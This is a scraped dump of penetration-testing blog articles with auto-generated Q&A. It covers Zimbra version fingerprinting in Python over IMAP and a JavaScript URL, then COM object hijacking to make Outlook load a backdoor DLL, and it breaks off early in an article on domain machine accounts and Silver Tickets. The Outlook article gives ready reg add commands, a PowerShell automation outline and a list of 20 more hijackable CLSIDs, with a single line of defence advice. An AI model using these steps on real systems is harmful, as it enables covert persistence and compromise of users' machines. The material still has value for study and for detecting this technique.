defaultValue:\"20220324053424\"});\u003Cbr>\tthis.registerSetting(\"CLIENT_VERSION\",\t\t\t\t\t{type:ZmSetting.T_CONFIG, defaultValue:\"9.0.0_GA_4258\"});\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>CLIENT_DATETIME and CLIENT_RELEASE are consistent with the creation time of this file. The version obtained through this method is for reference only and cannot be used as an accurate basis for version detection\u003C\u002Fp>\u003Ch2>0x03 Implementation Details\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Integrating the above detection methods, to adapt to various environments, the program implementation selects three methods: via IMAP protocol, via IMAP over SSL protocol, and via specific URL\u003C\u002Fp>\u003Ch3>1. Via IMAP protocol\u003C\u002Fh3>\u003Cp>Complete example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getversionimap(ip):\u003Cbr>    try:\u003Cbr>        print(\"[*] Try to connect: \" + ip + \":143\")\u003Cbr>        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\u003Cbr>        s.settimeout(5)\u003Cbr>        s.connect((ip, 143))\u003Cbr>        s.sendall(''.encode())\u003Cbr>        response = s.recv(1024)\u003Cbr>        if \"OK\" in response.decode('UTF-8'):\u003Cbr>            print(\"    OK\")\u003Cbr>        else:\u003Cbr>            print(response.decode('UTF-8'))\u003Cbr>            s.close()\u003Cbr>            sys.exit(0)\u003Cbr>        s.sendall('A001 ID NIL\\r\\n'.encode())\u003Cbr>        response = s.recv(1024)\u003Cbr>        if \"Zimbra\" in response.decode('UTF-8'):\u003Cbr>            versiondata=re.compile(r\"VERSION\\\" \\\"(.*?)\\\"\")\u003Cbr>            version = versiondata.findall(response.decode('UTF-8'))[0]\u003Cbr>\u003Cbr>            releasedata=re.compile(r\"RELEASE\\\" \\\"(.*?)\\\"\")\u003Cbr>            release = releasedata.findall(response.decode('UTF-8'))[0]\u003Cbr>            print(\"[+] Version: \" + version)\u003Cbr>            print(\"    Release: \" + release)\u003Cbr>            return release\u003Cbr>        else:\u003Cbr>            print(response.decode('UTF-8'))\u003Cbr>            s.close()\u003Cbr>    except Exception as e:\u003Cbr>        print(e)\u003Cbr>        return \"\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>2. Via IMAP over SSL protocol\u003C\u002Fh3>\u003Cp>Need to convert IP to hostname as parameter, example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>hostname = socket.gethostbyaddr(ip)\u003Cbr>print(hostname[0])\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Complete example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getversionimapoverssl(ip):\u003Cbr>    try:\u003Cbr>        hostname = socket.gethostbyaddr(ip)\u003Cbr>        print(\"[*] Try to connect: \" + hostname[0] + \":993\")\u003Cbr>        context = ssl.create_default_context()\u003Cbr>        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)\u003Cbr>        s = context.wrap_socket(s, server_hostname=hostname[0])\u003Cbr>        s.settimeout(5)\u003Cbr>        s.connect((ip, 993))\u003Cbr>        s.sendall(''.encode())\u003Cbr>        response = s.recv(1024)\u003Cbr>        if \"OK\" in response.decode('UTF-8'):\u003Cbr>            print(\"    Success\")\u003Cbr>        else:\u003Cbr>            print(response.decode('UTF-8'))\u003Cbr>            s.close()\u003Cbr>            sys.exit(0)\u003Cbr>        s.sendall('A001 ID NIL\\r\\n'.encode())\u003Cbr>        response = s.recv(1024)\u003Cbr>        if \"Zimbra\" in response.decode('UTF-8'):\u003Cbr>            versiondata=re.compile(r\"VERSION\\\" \\\"(.*?)\\\"\")\u003Cbr>            version = versiondata.findall(response.decode('UTF-8'))[0]\u003Cbr>\u003Cbr>            releasedata=re.compile(r\"RELEASE\\\" \\\"(.*?)\\\"\")\u003Cbr>            release = releasedata.findall(response.decode('UTF-8'))[0]\u003Cbr>            print(\"[+] Version: \" + version)\u003Cbr>            print(\"    Release: \" + release)\u003Cbr>            return release\u003Cbr>        else:\u003Cbr>            print(response.decode('UTF-8'))\u003Cbr>            s.close()\u003Cbr>    except Exception as e:\u003Cbr>        print(e)\u003Cbr>        return \"\"\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Some environments cannot resolve IP to hostname, causing error: [Errno 11004] host not found. Therefore, the program logic prioritizes using the IMAP protocol.\u003C\u002Fp>\u003Ch3>3. Via specific URL\u003C\u002Fh3>\u003Cp>Complete example code:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>def getversionweb(ip):\u003Cbr>    try:\u003Cbr>        url = \"https:\u002F\u002F\" + ip + \"\u002Fjs\u002FzimbraMail\u002Fshare\u002Fmodel\u002FZmSettings.js\"\u003Cbr>        print(\"[*] Try to access: \" + url)\u003Cbr>        headers={\u003Cbr>            \"User-Agent\": \"Mozilla\u002F5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\u002F537.36 (KHTML, like Gecko) Chrome\u002F88.0.4324.190 Safari\u002F537.36\",\u003Cbr>        }\u003Cbr>        response = requests.get(url, headers=headers, verify=False, timeout=5)\u003Cbr>\u003Cbr>        if response.status_code == 200 and 'CLIENT_RELEASE' in response.text:\u003Cbr>            print(\"    Success\")\u003Cbr>            VERSION_name = re.compile(r\"CLIENT_VERSION\\\",\t\t\t\t\t{type:ZmSetting.T_CONFIG, defaultValue:\\\"(.*?)\\\"}\\);\")\u003Cbr>            CLIENT_VERSION = VERSION_name.findall(response.text)\u003Cbr>            \u003Cbr>            RELEASE_name = re.compile(r\"CLIENT_RELEASE\\\",\t\t\t\t\t{type:ZmSetting.T_CONFIG, defaultValue:\\\"(.*?)\\\"}\\);\")\u003Cbr>            CLIENT_RELEASE = RELEASE_name.findall(response.text)\u003Cbr>\u003Cbr>            print(\"[+] Version: \" + CLIENT_VERSION[0])\u003Cbr>            print(\"    Release: \" + CLIENT_RELEASE[0])    \u003Cbr>        else:\u003Cbr>            print(\"[-]\")\u003Cbr>            print(response.status_code)\u003Cbr>            print(response.text)\u003Cbr>    except Exception as e: \u003Cbr>        print(e)\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch2>0x04 Open Source Code\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The complete implementation code has been uploaded to GitHub at the following address:\u003C\u002Fp>\u003Cp>An open source project\u003C\u002Fp>\u003Cp>The code first attempts to obtain version information through a specific URL, then reads version information via the IMAP protocol. If that fails, it finally reads version information via IMAP over SSL protocol.\u003C\u002Fp>\u003Ch2>0x05 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces multiple methods for Zimbra version detection, compares their advantages and disadvantages, selects effective methods and implements automation through Python, records development details, and open-sources the code as an excellent learning example.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","2026-02-02T08:20:57.911Z",{"title":302,"description":292,"keywords":303,"ogImage":26,"canonicalUrl":26,"noIndex":50},"Zimbra Version Detection Methods & Python Automation Guide","Zimbra version detection, penetration testing, Python automation, IMAP protocol, SOAP API, cybersecurity",[],{"docs":306,"hasNextPage":50},[307,314,322,329],{"id":308,"question":309,"answer":310,"answerHtml":310,"slug":311,"keywords":312,"article":63,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":313,"createdAt":313,"_status":61},27,"How does the open-source implementation prioritize different detection methods, and why is IMAP preferred over IMAP over SSL?","The implementation first attempts the URL method, then IMAP (port 143), and finally IMAP over SSL (port 993). IMAP is preferred over SSL because SSL requires resolving the IP to a hostname via reverse DNS, which may fail in some environments (e.g., `[Errno 11004] host not found`). IMAP works without hostname resolution and still provides accurate version info. For full code, refer to the GitHub repository linked in the article [Penetration Basics - Zimbra Version Detection](\u002Fnews\u002Fpenetration-basics-zimbra-version-detection1).","how-does-the-open-source-implementation-prioritize-different-detection-methods-a-1777485501760","IMAP vs IMAP over SSL, hostname resolution, Python automation, open-source code, penetration testing","2026-07-23T16:03:01.338Z",{"id":315,"question":316,"answer":317,"answerHtml":317,"slug":318,"keywords":319,"article":63,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":320,"createdAt":321,"_status":61},26,"What is the limitation of using the specific URL (`\u002Fjs\u002FzimbraMail\u002Fshare\u002Fmodel\u002FZmSettings.js`) for version detection?","The URL provides `CLIENT_VERSION` and `CLIENT_RELEASE` values, but these are derived from the client-side build timestamp and may not reflect the exact server patch level. The article states this method is for reference only and cannot be used as an accurate basis for version detection. It should be used as a supplement to more reliable methods like IMAP or SOAP. For other accurate methods, see [Penetration Basics - Zimbra Version Detection](\u002Fnews\u002Fpenetration-basics-zimbra-version-detection1).","what-is-the-limitation-of-using-the-specific-url-jszimbramailsharemodelzmsetting-1777485501684","Zimbra JavaScript file, version detection accuracy, CLIENT_VERSION, URL method","2026-07-23T16:02:59.935Z","2026-07-23T16:02:59.934Z",{"id":323,"question":324,"answer":325,"answerHtml":325,"slug":326,"keywords":327,"article":63,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":328,"createdAt":328,"_status":61},25,"Why is the version obtained from the IMAP protocol considered accurate, and how do you extract it?","The IMAP protocol (port 143) returns a response including fields like `VERSION` and `RELEASE` from the `ID` command, which directly corresponds to the installed Zimbra version and patch level. For example, sending `A001 ID NIL` and parsing the response yields accurate version info like `9.0.0_GA_4273`. This method is reliable and often used in automated detection scripts similar to those described in [Penetration Basics - Zimbra Version Detection](\u002Fnews\u002Fpenetration-basics-zimbra-version-detection1).","why-is-the-version-obtained-from-the-imap-protocol-considered-accurate-and-how-d-1777485501621","IMAP protocol, version detection, Zimbra, accurate version","2026-07-23T16:02:59.534Z",{"id":330,"question":331,"answer":332,"answerHtml":332,"slug":333,"keywords":334,"article":63,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":335,"createdAt":335,"_status":61},24,"What are the different methods to detect a Zimbra version during penetration testing?","There are several methods, including accessing the web management page on port 7071, running `su zimbra \u002Fopt\u002Fzimbra\u002Fbin\u002Fzmcontrol -v` on the server, querying the SOAP API (if `zimbraSoapExposeVersion` is enabled), connecting via IMAP on port 143 or IMAP over SSL on port 993, and checking a specific JavaScript URL like `\u002Fjs\u002FzimbraMail\u002Fshare\u002Fmodel\u002FZmSettings.js`. For details, see the full article [Penetration Basics - Zimbra Version Detection](\u002Fnews\u002Fpenetration-basics-zimbra-version-detection1).","what-are-the-different-methods-to-detect-a-zimbra-version-during-penetration-tes-1777485501557","Zimbra version detection, IMAP, SOAP API, penetration testing, web management page","2026-07-23T16:02:58.976Z",{"title":26,"description":26,"image":26},"2026-07-24T02:07:30.834Z","2026-07-23T16:00:54.068Z",{"id":55,"title":340,"slug":341,"description":342,"content":343,"contentHtml":349,"contentMarkdown":26,"cover":26,"author":43,"views":14,"readingTime":97,"status":45,"publishedAt":350,"seo":351,"tags":354,"qaPairs":355,"meta":393,"updatedAt":394,"createdAt":395,"_status":61},"Use COM Object hijacking to maintain persistence——Hijack Outlook","use-com-object-hijacking-to-maintain-persistence-hijack-outlook","Learn how to use COM object hijacking for Outlook persistence, mimicking APT Trula's method. Includes PowerShell automation, registry tweaks, and defense tips.",{"root":344},{"type":12,"format":13,"indent":14,"version":15,"children":345,"direction":24},[346],{"type":18,"format":13,"indent":14,"version":15,"children":347,"direction":24},[348],{"mode":21,"text":349,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>A backdoor exploitation method used by APT group Trula, which loads a DLL when Outlook starts via COM hijacking. Its characteristic is that it only requires the current user's permissions to achieve persistence.\u003C\u002Fp>\u003Cp>This article will test this method based on publicly available information, develop an automated exploitation script, explore extended usage, share multiple viable hijacking locations, and provide defense recommendations along with exploitation concepts.\u003C\u002Fp>\u003Cp>References:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fwww.welivesecurity.com\u002Fwp-content\u002Fuploads\u002F2018\u002F08\u002FEset-Turla-Outlook-Backdoor.pdf\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following:\u003C\u002Fp>\u003Cul>\u003Cli>Exploitation Method\u003C\u002Fli>\u003Cli>Details of PowerShell Script Implementation\u003C\u002Fli>\u003Cli>Extended Usage\u003C\u002Fli>\u003Cli>Defense Recommendations\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Exploitation Method\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Outlook loads multiple COM objects during startup. We can hijack Outlook's startup process by modifying the registry to load a DLL.\u003C\u002Fp>\u003Cp>This exploitation method requires adding two registry entries and modifying two COM objects.\u003C\u002Fp>\u003Cp>Since we are modifying the HKCU registry, current user privileges are sufficient.\u003C\u002Fp>\u003Ch3>(1) COM Object 1, used to load the second COM object\u003C\u002Fh3>\u003Cp>Add the following registry entry:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>HKCU\\Software\\Classes\\CLSID\\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\\TreatAs = {49CBB1C7-97D1-485A-9EC1-A26065633066}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The command to implement this via command line is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>reg add HKCU\\Software\\Classes\\CLSID\\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\\TreatAs \u002Ft REG_SZ \u002Fd \"{49CBB1C7-97D1-485A-9EC1-A26065633066}\" \u002Ff\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch3>(2) COM Object 2, used to load the DLL\u003C\u002Fh3>\u003Cp>Add the following registry entries:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>HKCU\\Software\\Classes\\CLSID\\{49CBB1C7-97D1-485A-9EC1-A26065633066} = Mail Plugin\u003Cbr>HKCU\\Software\\Classes\\CLSID\\{49CBB1C7-97D1-485A-9EC1-A26065633066}\\InprocServer32 = [Path to the backdoor DLL]\u003Cbr>HKCU\\Software\\Classes\\CLSID\\{49CBB1C7-97D1-485A-9EC1-A26065633066}\\InprocServer32\\ThreadingModel = Apartment\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The command to implement this via command line is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>reg add HKCU\\Software\\Classes\\CLSID\\{49CBB1C7-97D1-485A-9EC1-A26065633066} \u002Ft REG_SZ \u002Fd \"Mail Plugin\" \u002Ff\u003Cbr>reg add HKCU\\Software\\Classes\\CLSID\\{49CBB1C7-97D1-485A-9EC1-A26065633066}\\InprocServer32 \u002Ft REG_SZ \u002Fd \"c:\\\\test\\\\calc.dll\" \u002Ff\u003Cbr>reg add HKCU\\Software\\Classes\\CLSID\\{49CBB1C7-97D1-485A-9EC1-A26065633066}\\InprocServer32 \u002Fv ThreadingModel \u002Ft REG_SZ \u002Fd \"Apartment\" \u002Ff\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>calc.dll can use the previous test DLL, available at: an open-source project\u003C\u002Fp>\u003Cp>After adding the registry, launch Outlook, which loads the DLL multiple times and pops up multiple calculators. A mutex can be used here to ensure only one calculator pops up. DLL download address:\u003C\u002Fp>\u003Cp>an open-source project\u003C\u002Fp>\u003Cp>For 64-bit Windows systems with 32-bit Office installed, the registry location for the two COM objects needs to be modified to HKCU\\Software\\Classes\\Wow6432Node\\CLSID\\\u003C\u002Fp>\u003Ch2>0x03 PowerShell Script Implementation Details\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>The implementation process is as follows:\u003C\u002Fp>\u003Col>\u003Cli>Determine the operating system bitness\u003C\u002Fli>\u003Cli>Determine the Office software version\u003C\u002Fli>\u003Cli>If it's a 64-bit system with 32-bit Office installed, the registry location is HKCU\\Software\\Classes\\Wow6432Node\\CLSID\\; otherwise, the registry location is HKCU\\Software\\Classes\\CLSID\\\u003C\u002Fli>\u003Cli>Add the corresponding registry entries\u003C\u002Fli>\u003C\u002Fol>\u003Cp>The specific code is as follows:\u003C\u002Fp>\u003Ch4>1. Determine the operating system bitness\u003C\u002Fh4>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>if ([IntPtr]::Size -eq 8)\u003Cbr>{\u003Cbr>    '64-bit'\u003Cbr>}\u003Cbr>else\u003Cbr>{\u003Cbr>    '32-bit'\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Ch4>2. Determine the installed Office software version\u003C\u002Fh4>\u003Cp>Check if the default installation path C:\\Program Files\\Microsoft Office contains the MEDIA folder\u003C\u002Fp>\u003Cp>If it contains, then it is 64-bit Office, otherwise it is 32-bit Office\u003C\u002Fp>\u003Cp>PowerShell code is as follows:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>Try  \u003Cbr>{  \u003Cbr>\tdir C:\\Program Files\\Microsoft Office\\MEDIA\u003Cbr>\tWrite-Host \"Microsoft Office: 64-bit\"\u003Cbr>}\u003Cbr>Catch\u003Cbr>{\u003Cbr>\tWrite-Host \"Microsoft Office: 32-bit\"\u003Cbr>}\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>The implementation code has been open-sourced at the following address:\u003C\u002Fp>\u003Cp>An open-source project\u003C\u002Fp>\u003Cp>The code automatically determines the operating system architecture and Office software version, then adds corresponding registry entries\u003C\u002Fp>\u003Ch2>0x04 Extended Usage\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Use Process Monitor to monitor the Outlook startup process and identify other available COM objects\u003C\u002Fp>\u003Cp>Testing revealed multiple available methods in Outlook 2013\u003C\u002Fp>\u003Cp>Replace COM object 1 with any of the following, while keeping COM object 2 unchanged\u003C\u002Fp>\u003Cp>Available COM object 1:\u003C\u002Fp>\u003Cul>\u003Cli>{B056521A-9B10-425E-B616-1FCD828DB3B1}\u003C\u002Fli>\u003Cli>{EFEF7FDB-0CED-4FB6-B3BB-3C50D39F4120}\u003C\u002Fli>\u003Cli>{93E5752E-B889-47C5-8545-654EE2533C64}\u003C\u002Fli>\u003Cli>{56FDF344-FD6D-11D0-958A-006097C9A090}\u003C\u002Fli>\u003Cli>{2163EB1F-3FD9-4212-A41F-81D1F933597F}\u003C\u002Fli>\u003Cli>{A6A2383F-AD50-4D52-8110-3508275E77F7}\u003C\u002Fli>\u003Cli>{F959DBBB-3867-41F2-8E5F-3B8BEFAA81B3}\u003C\u002Fli>\u003Cli>{88D96A05-F192-11D4-A65F-0040963251E5}\u003C\u002Fli>\u003Cli>{807583E5-5146-11D5-A672-00B0D022E945}\u003C\u002Fli>\u003Cli>{529A9E6B-6587-4F23-AB9E-9C7D683E3C50}\u003C\u002Fli>\u003Cli>{3CE74DE4-53D3-4D74-8B83-431B3828BA53}\u003C\u002Fli>\u003Cli>{A4B544A1-438D-4B41-9325-869523E2D6C7}\u003C\u002Fli>\u003Cli>{33C53A50-F456-4884-B049-85FD643ECFED}\u003C\u002Fli>\u003Cli>{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\u003C\u002Fli>\u003Cli>{275C23E2-3747-11D0-9FEA-00AA003F8646}\u003C\u002Fli>\u003Cli>{C15BB852-6F97-11D3-A990-00104B2A619F}\u003C\u002Fli>\u003Cli>{ED475410-B0D6-11D2-8C3B-00104B2A6676}\u003C\u002Fli>\u003Cli>{1299CF18-C4F5-4B6A-BB0F-2299F0398E27}\u003C\u002Fli>\u003Cli>{DCB00C01-570F-4A9B-8D69-199FDBA5723B}\u003C\u002Fli>\u003Cli>{C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6}\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x05 Defense Recommendations\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Monitor creation and modification operations under the following registry keys:\u003C\u002Fp>\u003Cul>\u003Cli>HKCU\\Software\\Classes\\CLSID\\\u003C\u002Fli>\u003Cli>HKCU\\Software\\Classes\\Wow6432Node\\CLSID\\\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x06 Summary\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article introduces a method to load a DLL during Outlook startup via COM hijacking, shares multiple available hijacking locations, and provides defense recommendations based on exploitation techniques.\u003C\u002Fp>\u003C\u002Fbody>\u003C\u002Fhtml>","2026-02-02T08:20:29.496Z",{"title":352,"description":342,"keywords":353,"ogImage":26,"canonicalUrl":26,"noIndex":50},"COM Object Hijacking for Outlook Persistence: APT Trula Method","COM hijacking, Outlook persistence, APT Trula, backdoor, DLL loading, registry exploit, PowerShell script, defense recommendations",[],{"docs":356,"hasNextPage":50},[357,365,372,379,386],{"id":358,"question":359,"answer":360,"answerHtml":360,"slug":361,"keywords":362,"article":55,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":363,"createdAt":364,"_status":61},32,"What are the recommended defense strategies against this COM hijacking persistence technique?","Defenders should monitor creation and modification operations under the registry keys `HKCU\\Software\\Classes\\CLSID` and `HKCU\\Software\\Classes\\Wow6432Node\\CLSID`. This technique is also related to other persistence methods like [Use Logon Scripts to maintain persistence](\u002Fnews\u002Fuse-logon-scripts-to-maintain-persistence), but COM hijacking specifically requires watching for unexpected CLSID entries pointing to DLLs.","what-are-the-recommended-defense-strategies-against-this-com-hijacking-persisten-1777485476491","defense recommendations, registry monitoring, CLSID, persistence detection, logon scripts","2026-07-23T16:03:03.415Z","2026-07-23T16:03:03.414Z",{"id":366,"question":367,"answer":368,"answerHtml":368,"slug":369,"keywords":370,"article":55,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":371,"createdAt":371,"_status":61},31,"What alternative COM objects can be used for hijacking Outlook besides the default one mentioned?","The article lists over 20 alternative CLSIDs for COM object 1, including `{B056521A-...}`, `{EFEF7FDB-...}`, and `{93E5752E-...}`, while keeping COM object 2 unchanged. These were identified using Process Monitor during Outlook 2013 startup, providing multiple viable hijacking points for attackers.","what-alternative-com-objects-can-be-used-for-hijacking-outlook-besides-the-defau-1777485476442","alternative COM objects, Process Monitor, Outlook 2013, CLSID list, hijacking points","2026-07-23T16:03:03.099Z",{"id":373,"question":374,"answer":375,"answerHtml":375,"slug":376,"keywords":377,"article":55,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":378,"createdAt":378,"_status":61},30,"How does the provided PowerShell script automate the COM hijacking exploitation against Outlook?","The script first determines the system architecture (32‑ or 64‑bit) and the Office version (by checking the `MEDIA` folder under `C:\\Program Files\\Microsoft Office`). It then selects the correct registry path (`HKCU\\Software\\Classes\\CLSID` or `Wow6432Node`) and adds the required registry entries for the two COM objects, automating the entire persistence setup without needing admin rights.","how-does-the-provided-powershell-script-automate-the-com-hijacking-exploitation--1777485476359","PowerShell script, automation, Office version detection, Wow6432Node, registry path","2026-07-23T16:03:02.691Z",{"id":380,"question":381,"answer":382,"answerHtml":382,"slug":383,"keywords":384,"article":55,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":385,"createdAt":385,"_status":61},29,"How does the registry modification work for hijacking Outlook’s COM objects?","The attack sets a `TreatAs` value for the first COM object (CLSID `{84DA0A92-...}`) to redirect calls to a second COM object (CLSID `{49CBB1C7-...}`). The second object's `InprocServer32` key points to the attacker’s DLL, with a `ThreadingModel` of `Apartment`. Similar techniques are used in other COM hijacking scenarios, such as [Hijack CAccPropServicesClass and MMDeviceEnumerator](\u002Fnews\u002Fuse-com-object-hijacking-to-maintain-persistence-hijack-caccpropservicesclass-and-mmdeviceenumerator) and [Hijack explorer.exe](\u002Fnews\u002Fuse-com-object-hijacking-to-maintain-persistence-hijack-explorer-exe).","how-does-the-registry-modification-work-for-hijacking-outlooks-com-objects-1777485476296","registry modification, TreatAs, InprocServer32, CLSID, DLL, Outlook hijacking","2026-07-23T16:03:02.014Z",{"id":387,"question":388,"answer":389,"answerHtml":389,"slug":390,"keywords":391,"article":55,"status":45,"aiModel":26,"aiConfidence":26,"updatedAt":392,"createdAt":392,"_status":61},28,"What is the COM hijacking persistence technique used by APT group Trula against Outlook?","The technique, documented in [Use COM Object hijacking to maintain persistence——Hijack Outlook](\u002Fnews\u002Fuse-com-object-hijacking-to-maintain-persistence-hijack-outlook), involves modifying two registry entries under HKCU\\Software\\Classes\\CLSID to hijack COM objects that Outlook loads during startup. This forces Outlook to load a malicious DLL, requiring only current user permissions and making it a low-privilege persistence method favored by the Trula APT group.","what-is-the-com-hijacking-persistence-technique-used-by-apt-group-trula-against--1777485476199","COM hijacking, persistence, APT Trula, Outlook, DLL loading, HKCU registry","2026-07-23T16:03:01.699Z",{"title":26,"description":26,"image":26},"2026-07-24T02:07:30.777Z","2026-07-23T16:00:54.278Z",{"id":146,"title":397,"slug":398,"description":399,"content":400,"contentHtml":406,"contentMarkdown":26,"cover":26,"author":43,"views":14,"readingTime":6,"status":45,"publishedAt":407,"seo":408,"tags":411,"qaPairs":412,"meta":442,"updatedAt":443,"createdAt":444,"_status":61},"Domain Penetration - DNS Records and MachineAccount","domain-penetration-dns-records-and-machineaccount","Learn how non-privileged users create DNS records and MachineAccounts in domain environments for penetration testing and security analysis.",{"root":401},{"type":12,"format":13,"indent":14,"version":15,"children":402,"direction":24},[403],{"type":18,"format":13,"indent":14,"version":15,"children":404,"direction":24},[405],{"mode":21,"text":406,"type":23,"style":13,"detail":14,"format":14,"version":15},"\u003Chtml>\u003Chead>\u003C\u002Fhead>\u003Cbody>\u003Ch2>0x00 Preface\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>Previous articles \"Domain Penetration - Obtaining DNS Records\" and \"Domain Penetration - Obtaining DNS Records with Standard User Privileges\" introduced methods for acquiring DNS records in domain environments, which help us quickly understand the internal network architecture.\u003C\u002Fp>\u003Cp>However, DNS records can only serve as auxiliary indicators. There is no direct correlation between DNS records, the corresponding MachineAccount in DNS records, and the actual computers.\u003C\u002Fp>\u003Cp>Non-privileged users within the domain can freely create DNS records and MachineAccounts.\u003C\u002Fp>\u003Cp>This article will introduce methods for non-privileged users to create DNS records and MachineAccounts within a domain, documenting the essential knowledge points to master.\u003C\u002Fp>\u003Ch2>0x01 Introduction\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Cp>This article will cover the following topics:\u003C\u002Fp>\u003Cul>\u003Cli>Introduction to MachineAccount\u003C\u002Fli>\u003Cli>Methods for non-privileged users to create MachineAccounts\u003C\u002Fli>\u003Cli>Methods for non-privileged users to create DNS records\u003C\u002Fli>\u003C\u002Ful>\u003Ch2>0x02 Introduction to MachineAccount\u003C\u002Fh2>\u003Cp>---\u003C\u002Fp>\u003Ch3>1. MachineAccount\u003C\u002Fh3>\u003Cp>Whenever a computer joins a domain, a machine account (MachineAccount) is created as a member of the \"Domain Computers\" group.\u003C\u002Fp>\u003Cp>In a domain environment, the list of all machine accounts can be obtained with the following command:\u003C\u002Fp>\u003Ctable>\u003Ctbody>\u003Ctr>\u003Ctd>\u003Cp>net group \"Domain Computers\" \u002Fdomain\u003C\u002Fp>\u003C\u002Ftd>\u003C\u002Ftr>\u003C\u002Ftbody>\u003C\u002Ftable>\u003Cp>Each machine account name ends with the character $.\u003C\u002Fp>\u003Cp>\u003Cstrong>Note:\u003C\u002Fstrong>\u003C\u002Fp>\u003Cp>When using Mimikatz's DCSync feature to export all user hashes, all machine account hashes are also exported.\u003C\u002Fp>\u003Cp>If a machine account hash is obtained, it can be used to forge a Silver Ticket, thereby gaining access to corresponding services. For exploitation methods, refer to the previous article \"Domain Penetration – Pass The Ticket\".\u003C\u002Fp>\u003Ch3>2. MachineAccountQuota\u003C\u002Fh3>\u003Cp>Indicates the number of computer accounts a user is allowed to create in the domain, with a default value of 10.\u003C\u002Fp>\u003Cp>Documentation:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fdocs.microsoft.com\u002Fen-us\u002Fwindows\u002Fwin32\u002Fadschema\u002Fa-ms-ds-machineaccountquota\u003C\u002Fp>\u003Cp>For an introduction to MachineAccountQuota (MAQ), refer to:\u003C\u002Fp>\u003Cp>https:\u002F\u002Fblog.netspi.com\u002Fmachineaccountquota-is-useful-sometimes\u002F\u003C\u002Fp>\u003Cp>Here is a brief summary of the 10 rules mentioned in the reference material, along with personal insights. The characteristics are as follows:\u003C\u002Fp>\u003Cp>(1) Allow non-privileged users to create computer accounts via MAQ, default is 10, but cannot delete created computer accounts\u003C\u002Fp>\u003Cp>To disable MAQ, refer to: https:\u002F\u002Fsocial.technet.microsoft.com\u002Fwiki\u002Fcontents\u002Farticles\u002F5446.active-directory-how-to-prevent-authenticated-users-from-joining-workstations-to-a-domain.aspx\u003C\u002Fp>\u003Cp>(2) The creator 